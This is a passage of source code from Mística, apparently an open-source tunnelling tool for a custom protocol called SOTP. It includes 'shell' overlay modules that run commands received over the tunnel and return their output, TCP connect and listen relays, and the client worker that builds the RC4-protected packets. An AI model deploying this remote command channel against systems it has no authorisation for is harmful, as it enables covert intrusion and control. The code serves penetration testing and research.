self._LOGGING_ and self.logger.debug(f"[{self.name}] Write to STDOUT: {len(content)} bytes")
stdout.buffer.write(content)
stdout.flush()
================================================
FILE: overlay/client/shell.py
================================================
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from sotp.misticathread import ClientOverlay
from subprocess import Popen,PIPE,STDOUT
from platform import system
class shell(ClientOverlay):
NAME = "shell"
CONFIG = {
"prog": NAME,
"description": "Executes commands recieved through the SOTP connection and returns the output. Compatible with io module.",
"args": [
{
"--tag": {
"help": "Tag used by the overlay at the server",
"nargs": 1,
"required": False,
"default": ["0x1010"]
}
}
]
}
def __init__(self, qsotp, qdata, args, logger=None):
ClientOverlay.__init__(self,type(self).__name__,qsotp,qdata,args,logger)
self.name = type(self).__name__
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
def processSOTPStream(self, content):
data = b""
try:
# Windows by default pass Popen data to CreateProcess() Winapi
if system() == "Windows":
commandline = "cmd /c " + str(content,"utf-8")
else:
commandline = str(content,"utf-8")
p = Popen(commandline.split(), stdout=PIPE, stderr=STDOUT)
data = p.communicate()[0]
except Exception as e:
self._LOGGING_ and self.logger.exception(f"[{self.name}] Exception in shell: {str(e)}")
finally:
return data if (len(data) > 0) else None
================================================
FILE: overlay/client/tcpconnect.py
================================================
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from sotp.misticathread import ClientOverlay
from sys import stdout
import socket
from threading import Thread, Lock
from utils.messaging import Message, MessageType, SignalType
import select
class tcpconnect(ClientOverlay):
NAME = "tcpconnect"
CONFIG = {
"prog": NAME,
"description": "Connects to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.",
"args": [
{
"--tag": {
"help": "Tag used by the overlay",
"nargs": 1,
"required": False,
"default": ["0x1010"]
}
},
{
"--address": {
"help": "Address where the module will connect",
"nargs": 1,
"required": True,
"action": "store"
}
},
{
"--port": {
"help": "Port where the module will connect",
"nargs": 1,
"required": True,
"action": "store"
}
},
{
"--persist": {
"help": "Retries the TCP connection, if closed",
"action": "store_true"
}
},
{
"--wait": {
"help": "Waits until data is received through the SOTP channel to connect",
"action": "store_true"
}
}
]
}
def __init__(self, qsotp, mode, args, logger):
ClientOverlay.__init__(self, type(self).__name__, qsotp, mode, args, logger)
self.name = type(self).__name__
self.buffer = []
# Setting input capture
self.hasInput = False
self.id = 0
self.timeout = 1
self.started = False
self.lock = Lock()
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
self.tcpthread = Thread(target=self.captureTcpStream)
self.lock.acquire()
if not self.wait:
self.tcpthread.start()
self.started = True
# Overriden
def parseArguments(self, args):
self.port = int(args.port[0])
self.address = args.address[0]
self.persist = args.persist
self.wait = args.wait
def captureTcpStream(self):
# Create socket and connect
while not self.exit:
try:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((self.address, self.port))
except Exception as e:
print(e)
self.inbox.put(Message('input',
0,
self.name,
self.id,
MessageType.SIGNAL,
SignalType.TERMINATE))
if self.lock.locked():
self.lock.release()
return
if self.lock.locked():
self.lock.release()
while not self.exit:
try:
# Block on socket until Timeout
result = select.select([self.socket], [], [], self.timeout)
if result[0]:
rawdata = self.socket.recv(4096)
if rawdata and len(rawdata) > 0:
self.inbox.put(Message('input',
0,
'overlay',
self.id,
MessageType.STREAM,
rawdata))
elif not self.persist:
self._LOGGING_ and self.logger.debug(f"[{self.name}] TCP communication broken. Sending Terminate signal to overlay")
self.inbox.put(Message('input',
0,
self.name,
self.id,
MessageType.SIGNAL,
SignalType.TERMINATE))
return
else:
self.socket.close()
break
except:
self.inbox.put(Message('input',
0,
self.name,
self.id,
MessageType.SIGNAL,
SignalType.TERMINATE))
return
return
def processInputStream(self, content):
self._LOGGING_ and self.logger.debug(f"[{self.name}] Read from socket: {len(content)}")
return content
def processSOTPStream(self, content):
self._LOGGING_ and self.logger.debug(f"[{self.name}] Write to socket: {len(content)}")
if not self.started:
self.tcpthread.start()
self.lock.acquire()
self.started = True
try:
self.socket.send(content)
except Exception as e:
print(e)
================================================
FILE: overlay/client/tcplisten.py
================================================
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from sotp.misticathread import ClientOverlay
from sys import stdout
import socket
from threading import Thread
from utils.messaging import Message, MessageType, SignalType
import select
class tcplisten(ClientOverlay):
NAME = "tcplisten"
CONFIG = {
"prog": NAME,
"description": "Binds to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.",
"args": [
{
"--tag": {
"help": "Tag used by the overlay",
"nargs": 1,
"required": False,
"default": ["0x1010"]
}
},
{
"--address": {
"help": "Address where the module will bind",
"nargs": 1,
"required": True,
"action": "store"
}
},
{
"--port": {
"help": "Port where the module will bind",
"nargs": 1,
"required": True,
"action": "store"
}
},
{
"--persist": {
"help": "Keeps the port open after closing the TCP connection",
"action": "store_true"
}
}
]
}
def __init__(self, qsotp, mode, args, logger):
ClientOverlay.__init__(self, type(self).__name__, qsotp, mode, args, logger)
self.name = type(self).__name__
self.buffer = []
# Setting input capture
self.conn = None
self.hasInput = False
self.id = 0
self.timeout = 1
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
self.tcpthread = Thread(target=self.captureTcpStream)
self.tcpthread.start()
# Overriden
def parseArguments(self, args):
self.port = int(args.port[0])
self.address = args.address[0]
self.persist = args.persist
def captureTcpStream(self):
# Create socket and listen
while self.conn is None and not self.exit:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.settimeout(self.timeout)
try:
self.socket.bind((self.address, self.port))
self.socket.listen(0)
self.conn, self.remoteaddr = self.socket.accept()
except socket.timeout as te:
continue # Allows to check if the application has exited to finish the thread
except Exception as e:
print(e)
self.inbox.put(Message('input',
0,
'overlay',
self.id,
MessageType.SIGNAL,
SignalType.TERMINATE))
return
# Empty buffered data, if any
while self.buffer and not self.exit:
self.conn.send(self.buffer.pop(0))
# socket loop
while not self.exit:
try:
# Block on socket until Timeout
result = select.select([self.conn], [], [], self.timeout)
if result[0]:
rawdata = self.conn.recv(4096)
if rawdata and len(rawdata) > 0:
self.inbox.put(Message('input',
0,
'overlay',
self.id,
MessageType.STREAM,
rawdata))
elif not self.persist:
self._LOGGING_ and self.logger.debug(f"[{self.name}] TCP communication broken. Sending Terminate signal to overlay")
self.inbox.put(Message('input',
0,
self.name,
self.id,
MessageType.SIGNAL,
SignalType.TERMINATE))
return
else:
self.conn.close()
self.conn = None
break
except:
self.inbox.put(Message('input',
0,
self.name,
self.id,
MessageType.SIGNAL,
SignalType.TERMINATE))
return
def processInputStream(self, content):
self._LOGGING_ and self.logger.debug(f"[{self.name}] Read from socket: {len(content)}")
return content
def processSOTPStream(self, content):
self._LOGGING_ and self.logger.debug(f"[{self.name}] Write to socket: {len(content)}")
if self.conn is None:
self.buffer.append(content) # wait until a connection happens
else:
self.conn.send(content)
================================================
FILE: overlay/server/__init__.py
================================================
__all__ = ["io", "shell", "tcpconnect", "tcplisten"]
================================================
FILE: overlay/server/io.py
================================================
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from sotp.misticathread import ServerOverlay
from sys import stdout
class io(ServerOverlay):
NAME = "io"
CONFIG = {
"prog": NAME,
"description": "Reads from stdin, sends through SOTP connection. Reads from SOTP connection, prints to stdout",
"args": [
{
"--tag": {
"help": "Tag used by the overlay",
"nargs": 1,
"required": False,
"default": ["0x1010"]
}
}
]
}
def __init__(self, id, qsotp, mode, args, logger):
ServerOverlay.__init__(self, type(self).__name__, id, qsotp, mode, args, logger)
self.name = type(self).__name__
self.buffer = []
# Setting input capture
self.hasInput = True
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
def processInputStream(self, content):
self._LOGGING_ and self.logger.debug(f"[{self.name}] Read from STDIN: {len(content)}")
return content
def processSOTPStream(self, content):
self._LOGGING_ and self.logger.debug(f"[{self.name}] Write to STDOUT: {len(content)}")
stdout.buffer.write(content)
stdout.flush()
# overriden for pipe scenarios
def handleInputStream(self, msg):
content = self.processInputStream(msg.content)
# By default, only one worker. Must be overriden for more
# In a multi-worker scenario inputs must be mapped to workers
if self.workers:
return self.streamToSOTPWorker(content, self.workers[0].id)
self.buffer.append(content)
# overriden for pipe scenarios
def addWorker(self, worker):
if not self.workers: # empty
self.workers.append(worker)
# check if there's some buffered data and pass it
while self.buffer:
self.workers[0].datainbox.put(self.streamToSOTPWorker(self.buffer.pop(0),
self.workers[0].id))
else:
raise(f"Cannot Register worker on overlay module. Module {self.name} only accepts one worker")
================================================
FILE: overlay/server/shell.py
================================================
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from sotp.misticathread import ServerOverlay
from subprocess import Popen,PIPE,STDOUT
from platform import system
class shell(ServerOverlay):
NAME = "shell"
CONFIG = {
"prog": NAME,
"description": "Executes commands recieved through the SOTP connection and returns the output. Compatible with io module.",
"args": [
{
"--tag": {
"help": "Tag used by the overlay at the server",
"nargs": 1,
"required": False,
"default": ["0x1010"]
}
}
]
}
def __init__(self, id, qsotp, mode, args, logger):
ServerOverlay.__init__(self, type(self).__name__, id, qsotp, mode, args, logger)
self.name = type(self).__name__
self.hasInput = False
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
def processSOTPStream(self, content):
data = b""
try:
# Windows by default pass Popen data to CreateProcess() Winapi
if system() == "Windows":
commandline = "cmd /c " + str(content,"utf-8")
else:
commandline = str(content,"utf-8")
p = Popen(commandline.split(), stdout=PIPE, stderr=STDOUT)
data = p.communicate()[0]
except Exception as e:
self._LOGGING_ and self.logger.exception(f"[{self.name}] Exception in shell: {str(e)}")
finally:
# By default, only one worker.
(len(data) > 0) and self.workers[0].datainbox.put(self.streamToSOTPWorker(data,self.workers[0].id))
================================================
FILE: overlay/server/tcpconnect.py
================================================
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from sotp.misticathread import ServerOverlay
from sys import stdout
import socket
from threading import Thread, Lock
from utils.messaging import Message, MessageType, SignalType
import select
class tcpconnect(ServerOverlay):
NAME = "tcpconnect"
CONFIG = {
"prog": NAME,
"description": "Connects to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.",
"args": [
{
"--tag": {
"help": "Tag used by the overlay",
"nargs": 1,
"required": False,
"default": ["0x1010"]
}
},
{
"--address": {
"help": "Address where the module will connect",
"nargs": 1,
"required": True,
"action": "store"
}
},
{
"--port": {
"help": "Port where the module will connect",
"nargs": 1,
"required": True,
"action": "store"
}
},
{
"--persist": {
"help": "Retries the TCP connection, if closed",
"action": "store_true"
}
},
{
"--wait": {
"help": "Waits until data is received through the SOTP channel to connect",
"action": "store_true"
}
}
]
}
def __init__(self, id, qsotp, mode, args, logger):
ServerOverlay.__init__(self, type(self).__name__, id, qsotp, mode, args, logger)
self.name = type(self).__name__
self.buffer = []
self.timeout = 1
self.started = False
self.lock = Lock()
# Setting input capture
self.hasInput = False
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
self.tcpthread = Thread(target=self.captureTcpStream)
self.lock.acquire()
if not self.wait:
self.tcpthread.start()
self.started = True
# Overriden
def parseArguments(self, args):
self.port = int(args.port[0])
self.address = args.address[0]
self.persist = args.persist
self.wait = args.wait
def captureTcpStream(self):
# Create socket and connect
while not self.exit:
try:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((self.address, self.port))
except Exception as e:
print(e)
self.inbox.put(Message('input',
0,
self.name,
self.id,
MessageType.SIGNAL,
SignalType.TERMINATE))
if self.lock.locked():
self.lock.release()
return
if self.lock.locked():
self.lock.release()
while not self.exit:
try:
# Block on socket
result = select.select([self.socket], [], [], self.timeout)
if result[0]:
rawdata = self.socket.recv(4096)
if rawdata and len(rawdata) > 0:
self.inbox.put(Message('input',
0,
'overlay',
self.id,
MessageType.STREAM,
rawdata))
elif not self.persist:
self._LOGGING_ and self.logger.debug(f"[{self.name}] TCP communication broken. Sending Terminate signal to overlay")
self.inbox.put(Message('input',
0,
self.name,
self.id,
MessageType.SIGNAL,
SignalType.TERMINATE))
return
else:
self.socket.close()
break
except Exception as e:
self.inbox.put(Message('input',
0,
self.name,
self.id,
MessageType.SIGNAL,
SignalType.TERMINATE))
return
return
def processInputStream(self, content):
self._LOGGING_ and self.logger.debug(f"[{self.name}] Read from socket: {len(content)}")
return content
def processSOTPStream(self, content):
self._LOGGING_ and self.logger.debug(f"[{self.name}] Write to socket: {len(content)}")
if not self.started:
self.tcpthread.start()
self.lock.acquire()
self.started = True
try:
self.socket.send(content)
except Exception as e:
print(e)
# overriden for pipe scenarios
def handleInputStream(self, msg):
content = self.processInputStream(msg.content)
# By default, only one worker. Must be overriden for more
# In a multi-worker scenario inputs must be mapped to workers
if self.workers:
return self.streamToSOTPWorker(content, self.workers[0].id)
self.buffer.append(content)
# overriden for pipe scenarios
def addWorker(self, worker):
if not self.workers: # empty
self.workers.append(worker)
# check if there's some buffered data and pass it
while self.buffer:
self.workers[0].datainbox.put(self.streamToSOTPWorker(self.buffer.pop(0),
self.workers[0].id))
else:
raise(f"Cannot Register worker on overlay module. Module {self.name} only accepts one worker")
================================================
FILE: overlay/server/tcplisten.py
================================================
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from sotp.misticathread import ServerOverlay
from sys import stdout
import socket
from threading import Thread
from utils.messaging import Message, MessageType, SignalType
import select
class tcplisten(ServerOverlay):
NAME = "tcplisten"
CONFIG = {
"prog": NAME,
"description": "Binds to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.",
"args": [
{
"--tag": {
"help": "Tag used by the overlay",
"nargs": 1,
"required": False,
"default": ["0x1010"]
}
},
{
"--address": {
"help": "Address where the module will bind",
"nargs": 1,
"required": True,
"action": "store"
}
},
{
"--port": {
"help": "Port where the module will bind",
"nargs": 1,
"required": True,
"action": "store"
}
},
{
"--persist": {
"help": "Keeps the port open after closing the TCP connection",
"action": "store_true"
}
}
]
}
def __init__(self, id, qsotp, mode, args, logger):
ServerOverlay.__init__(self, type(self).__name__, id, qsotp, mode, args, logger)
self.name = type(self).__name__
self.buffer = []
self.buffer2 = []
self.conn = None
self.timeout = 1
# Setting input capture
self.hasInput = False
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
self.tcpthread = Thread(target=self.captureTcpStream)
self.tcpthread.start()
# Overriden
def parseArguments(self, args):
self.port = int(args.port[0])
self.address = args.address[0]
self.persist = args.persist
def captureTcpStream(self):
# Create socket and listen
while self.conn is None and not self.exit:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.settimeout(self.timeout)
try:
self.socket.bind((self.address, self.port))
self.socket.listen(0)
self.conn, self.remoteaddr = self.socket.accept()
except socket.timeout as te:
continue # Allows to check if the application has exited to finish the thread
except Exception as e:
print(e)
self.inbox.put(Message('input',
0,
self.name,
self.id,
MessageType.SIGNAL,
SignalType.TERMINATE))
return
# Empty buffered data, if any
while self.buffer2 and not self.exit:
self.conn.send(self.buffer2.pop(0))
# socket loop
while not self.exit:
try:
# Block on socket
result = select.select([self.conn], [], [], self.timeout)
if result[0]:
rawdata = self.conn.recv(4096)
if rawdata and len(rawdata) > 0:
self.inbox.put(Message('input',
0,
'overlay',
self.id,
MessageType.STREAM,
rawdata))
elif not self.persist:
self._LOGGING_ and self.logger.debug(f"[{self.name}] TCP communication broken. Sending Terminate signal to overlay")
self.inbox.put(Message('input',
0,
self.name,
self.id,
MessageType.SIGNAL,
SignalType.TERMINATE))
return
else:
self.conn.close()
self.conn = None
break
except Exception as e:
self._LOGGING_ and self.logger.debug(f"[{self.name}] Exception: {e}. Sending Terminate signal to overlay")
self.inbox.put(Message('input',
0,
self.name,
self.id,
MessageType.SIGNAL,
SignalType.TERMINATE))
return
return
def processInputStream(self, content):
self._LOGGING_ and self.logger.debug(f"[{self.name}] Read from socket: {len(content)}")
return content
def processSOTPStream(self, content):
self._LOGGING_ and self.logger.debug(f"[{self.name}] Write to socket: {len(content)}")
if self.conn is None:
self.buffer2.append(content) # wait until a connection happens
else:
self.conn.send(content)
# overriden for pipe scenarios
def handleInputStream(self, msg):
content = self.processInputStream(msg.content)
# By default, only one worker. Must be overriden for more
# In a multi-worker scenario inputs must be mapped to workers
if self.workers:
return self.streamToSOTPWorker(content, self.workers[0].id)
self.buffer.append(content)
# overriden for pipe scenarios
def addWorker(self, worker):
if not self.workers: # empty
self.workers.append(worker)
# check if there's some buffered data and pass it
while self.buffer:
self.workers[0].datainbox.put(self.streamToSOTPWorker(self.buffer.pop(0),
self.workers[0].id))
else:
raise(f"Cannot Register worker on overlay module. Module {self.name} only accepts one worker")
================================================
FILE: sotp/clientworker.py
================================================
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from sotp.core import Header,OptionalHeader,Sizes,Offsets,Status,Flags,Sync
from sotp.core import Core
from sotp.packet import Packet
from utils.bitstring import BitArray
from utils.rc4 import RC4
from utils.messaging import Message,SignalType,MessageType
class ClientWorker(Core):
def __init__(self, key, maxretries, maxsize, tag, overlayname, wrappername, qdata, logger=None):
super().__init__(key, maxretries, maxsize)
self.name = type(self).__name__
self.wait_reply = False
self.sotp_first_push = False
self.transceiving = False
self.st = Status.NOT_INITIALIZING
self.oldst = None
self.sid = None
self.tag = tag
self.overlayname = overlayname
self.wrappername = wrappername
self.qdata = qdata
self.seqnumber = 1
self.comms_broken = False
self.exit = False
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
# Method for checking if a packet is an initialization response.
def checkInitResponse(self,packet):
if any(packet.session_id) == False:
return False
if any(packet.seq_number) == False:
return False
if any(packet.ack) == False:
return False
if packet.isFlagActive(Flags.SYNC) == False:
return False
if packet.isSyncType(Sync.RESPONSE_AUTH) == False:
return False
return True
# Method to check if a packet is a correct response from the server.
def checkWorkResponse(self,packet):
if any(packet.session_id) == False:
return False
if any(packet.seq_number) == False:
return False
if any(packet.ack) == False:
return False
if not any(packet.data_len) and not any(packet.content):
return True
if packet.data_len.uint != int(packet.content.length/8):
return False
return True
# Method to check if session reinitialization is needed (because the seq_number is limited to n bytes)
def checkReinitialization(self,packet):
if self.lastPacketSent is None:
raise Exception('Cannot get last sent packet')
if self.lastPacketSent.seq_number != packet.ack:
self._LOGGING_ and self.logger.error(f"[{self.name}] on checkReinitialization() ack: {packet.ack} != seq: {self.lastPacketSent.seq_number}")
return False
if self.lastPacketSent.seq_number.uint != (Sizes.MAX_MESSAGES-1):
return False
self._LOGGING_ and self.logger.info(f"[{self.name}] Reinitialization is needed!")
return True
# functionality will be implemented in the future
def checkForStop(self,packet):
return True
# Method for generating an initialization packet
# The overlay tag to be used is added to the data field
def generateInitPacket(self):
p = Packet()
p.session_id = BitArray(bin='0'*Header.SESSION_ID)
p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)
p.ack = BitArray(bin='0'*Header.ACK)
p.data_len = BitArray(uint=len(self.tag),length=Header.DATA_LEN)
p.flags = BitArray(uint=Flags.SYNC,length=Header.FLAGS)
p.optional_headers = True
p.sync_type = BitArray(uint=Sync.REQUEST_AUTH,length=OptionalHeader.SYNC_TYPE)
p.content = BitArray(bytes=BitArray(hex=self.tag).bytes, length=Sizes.TAG)
return p
# Method for generating a polling request packet
def generatePollPacket(self,packt):
p = Packet()
p.session_id = self.sid
self.seqnumber+=1
p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)
p.ack = packt.seq_number
p.data_len = BitArray(bin='0'*Header.DATA_LEN)
p.flags = BitArray(uint=Flags.SYNC,length=Header.FLAGS)
p.optional_headers = True
p.sync_type = BitArray(uint=Sync.POLLING_REQUEST,length=OptionalHeader.SYNC_TYPE)
p.content = BitArray()
return p
# Method that generates a response packet to a session termination request
def generateTermResponsePacket(self,packt):
p = Packet()
p.session_id = self.sid
self.seqnumber+=1
p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)
p.ack = packt.seq_number
p.data_len = BitArray(bin='0'*Header.DATA_LEN)
p.flags = BitArray(bin='0'*Header.FLAGS)
p.sync_type = BitArray()
p.content = BitArray()
return p
# Method that generates a session reintialization packet
def generateReintializationPacket(self,packt):
p = Packet()
p.session_id = self.sid
self.seqnumber+=1
p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)
p.ack = packt.seq_number
p.data_len = BitArray(bin='0'*Header.DATA_LEN)
p.flags = BitArray(uint=Flags.SYNC,length=Header.FLAGS)
p.optional_headers = True
p.sync_type = BitArray(uint=Sync.REINITIALIZING,length=OptionalHeader.SYNC_TYPE)
p.content = BitArray()
return p
# Method to generate a session termination request packet
def generateTerminatePacket(self,packt):
p = Packet()
p.session_id = self.sid
self.seqnumber+=1
p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)
p.ack = packt.seq_number
p.data_len = BitArray(bin='0'*Header.DATA_LEN)
p.flags = BitArray(uint=Flags.SYNC,length=Header.FLAGS)
p.optional_headers = True
p.sync_type = BitArray(uint=Sync.SESSION_TERMINATION,length=OptionalHeader.SYNC_TYPE)
p.content = BitArray()
return p
# Method to generate a transfer packet (with data from the overlay).
def generateTransferPacket(self,packt,content,push):
p = Packet()
p.session_id = self.sid
self.seqnumber+=1
p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)
p.ack = packt.seq_number
p.data_len = BitArray(uint=len(content),length=Header.DATA_LEN)
if push:
p.flags = BitArray(uint=Flags.PUSH,length=Header.FLAGS)
else:
p.flags = BitArray(bin='0'*Header.FLAGS)
p.sync_type = BitArray()
p.content = BitArray(bytes=content)
return p
# Method to generate a confirmation packet
def generateAckPacket(self,packt):
p = Packet()
p.session_id = self.sid
self.seqnumber+=1
p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)
p.ack = packt.seq_number
p.data_len = BitArray(bin='0'*Header.DATA_LEN)
p.flags = BitArray(bin='0'*Header.FLAGS)
p.sync_type = BitArray()
p.content = BitArray()
return p
# Method that generates a polling packet based on the last packet received
def getPollRequest(self):
if self.lastPacketRecv is None:
self._LOGGING_ and self.logger.error(f"[{self.name}] Any previous Packet Received in getPollRequest()")
raise Exception("Any previous Packet Received in getPollRequest()")
packettosend = self.generatePollPacket(self.lastPacketRecv)
self.storePackets(None,packettosend)
return [Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes())]
# Method that updates the reference to the last package sent and/or received.
def storePackets(self,packetrecv,packetsent):
if packetsent is not None:
self._LOGGING_ and self.logger.debug(f"[{self.name}] Storing Sent Packet sq:{packetsent.seq_number} ack:{packetsent.ack}")
self.lastPacketSent = packetsent
if packetrecv is not None:
self._LOGGING_ and self.logger.debug(f"[{self.name}] Storing Recv Packet sq:{packetrecv.seq_number} ack:{packetrecv.ack}")
self.lastPacketRecv = packetrecv
# Method that receives the Initialization Response, sets the session_id (from response packet)
# and sends the overlay data, if it doesn't have it, simply generate a Polling Request packet.
def doInitialize(self,packet):
if self.sid is None:
self.sid = packet.session_id
packettosend = None
if self.someOverlayData():
self._LOGGING_ and self.logger.debug(f"[{self.name}] detected Overlay data in doInitialize()")
packettosend = self.makeTransferPacket(packet)
self.transceiving = True
else:
self._LOGGING_ and self.logger.debug(f"[{self.name}] generating Polling Request")
packettosend = self.generatePollPacket(packet)
self.transceiving = False
self.wait_reply = True
self.storePackets(packet,packettosend)
self.st = Status.WORKING
return [Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes())]
# Method that manages Polling Responses, Confirmations and Data Transfer packets
# Data transfers can be full duplex
def doWork(self,packet):
response = []
packettosend = None
if packet.anyContentAvailable():
self.extractIncomingData(packet)
if packet.isFlagActive(Flags.PUSH):
data_decrypt = self.decryptWrapperData()
response.append(Message("clientworker",0,self.overlayname,0,MessageType.STREAM,data_decrypt))
if self.someOverlayData():
packettosend = self.makeTransferPacket(packet)
response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes()))
else:
packettosend = self.generatePollPacket(packet)
response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes()))
else:
if self.someOverlayData():
packettosend = self.makeTransferPacket(packet)
response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes()))
else:
packettosend = self.generateAckPacket(packet)
response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes()))
self.wait_reply = True
self.transceiving = True
else:
if self.someOverlayData():
packettosend = self.makeTransferPacket(packet)
response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes()))
self.wait_reply = True
self.transceiving = True
else:
self.wait_reply = False
self.transceiving = False
self.storePackets(packet,packettosend)
return response
# Method that extracts data (if any) from a packet received from the server (by full-duplex).
def extractIncomingData(self,packet):
if any(packet.data_len) == False or any(packet.content) == False:
return
self.bufWrapper.addChunk(packet)
return
# Method of starting a data transfer
def makeTransferPacket(self,packet):
response = None
chunk, push = self.bufOverlay.getChunk()
transpacket = self.generateTransferPacket(packet,chunk,push)
response = transpacket
if push and not self.bufOverlay.anyIndex():
self.sotp_first_push = True
self.lastPacketSent = transpacket
return response
# Method that responds to a server termination request
def doTermination(self,packet):
termpacket = self.generateTermResponsePacket(packet)
self.st = Status.TERMINATING
self.storePackets(packet,termpacket)
return [
Message("clientworker",0,self.overlayname,0,MessageType.SIGNAL,SignalType.COMMS_FINISHED),
